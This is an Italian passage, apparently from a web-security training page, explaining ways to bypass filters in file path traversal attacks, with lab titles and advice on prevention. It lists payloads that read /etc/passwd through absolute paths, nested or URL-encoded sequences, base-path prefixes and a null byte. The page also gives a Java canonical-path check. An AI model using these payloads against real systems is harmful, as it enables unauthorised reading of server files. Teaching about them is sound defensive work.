Potresti essere in grado di utilizzare un percorso assoluto dalla radice del filesystem, come filename=/etc/passwd, per fare riferimento direttamente a un file senza utilizzare alcuna sequenza trasversale.

Lab: File path traversal, traversal sequences blocked with absolute path bypass

Potresti essere in grado di utilizzare sequenze di attraversamento nidificate, come ….// o ….\/, che torneranno a sequenze di attraversamento semplici quando la sequenza interna viene rimossa.

Lab: File path traversal, traversal sequences stripped non-recursively

In alcuni contesti, ad esempio in un percorso URL o nel parametro del filename di una richiesta multipart/form-data, i server Web potrebbero eliminare qualsiasi sequenza di attraversamento della directory prima di passare l’input all’applicazione. A volte è possibile ignorare questo tipo di sanificazione mediante la codifica dell’URL, o anche la doppia codifica dell’URL, i caratteri ../, risultando rispettivamente in %2e%2e%2f o %252e%252e%252f. Anche varie codifiche non standard, come ..%c0%af o ..%ef%bc%8f, possono funzionare allo stesso modo.

Per gli utenti di Burp Suite Professional, Burp Intruder fornisce un elenco di payload predefinito (Fuzzing – path traversal), che contiene una varietà di sequenze di percorso trasversale codificate che puoi provare.

Lab: File path traversal, traversal sequences stripped with superfluous URL-decode

Se un’applicazione richiede che il nome file fornito dall’utente inizi con la cartella di base prevista, ad esempio /var/www/images, potrebbe essere possibile includere la cartella di base richiesta seguita da sequenze di attraversamento adeguate. Per esempio:

filename=/var/www/images/../../../etc/passwd

Lab: File path traversal, validation of start of path

Se un’applicazione richiede che il nome file fornito dall’utente termini con un’estensione di file prevista, ad esempio .png, potrebbe essere possibile utilizzare un byte null per terminare in modo efficace il percorso del file prima dell’estensione richiesta. Per esempio:

filename=../../../etc/passwd%00.png

Lab: File path traversal, validation of file extension with null byte bypass

Come prevenire un attacco directory traversal

Il modo più efficace per prevenire le vulnerabilità legate al file path traversal è evitare del tutto di passare l’input fornito dall’utente alle API del filesystem. Molte funzioni dell’applicazione che eseguono questa operazione possono essere riscritte per fornire lo stesso comportamento in modo più sicuro.

Se si ritiene inevitabile passare l’input fornito dall’utente alle API del filesystem, è necessario utilizzare insieme due livelli di difesa per prevenire gli attacchi:

  • L’applicazione dovrebbe convalidare l’input dell’utente prima di elaborarlo. Idealmente, la convalida dovrebbe essere confrontata con una whitelist di valori consentiti. Se ciò non è possibile per la funzionalità richiesta, la convalida dovrebbe verificare che l’input contenga solo contenuti consentiti, ad esempio caratteri puramente alfanumerici.
  • Dopo aver convalidato l’input fornito, l’applicazione dovrebbe aggiungere l’input alla directory di base e utilizzare un’API del file system della piattaforma per canonizzare il percorso. Dovrebbe verificare che il percorso canonizzato inizi con la directory di base prevista.

Di seguito è riportato un esempio di un semplice codice Java per convalidare il percorso canonico di un file in base all’input dell’utente:

File file = new File(BASE_DIRECTORY, userInput);
if (file.getCanonicalPath().startsWith(BASE_DIRECTORY)) {
	// process file
}

Per saperne di più

Find directory traversal vulnerabilities using Burp Suite’s web vulnerability scanner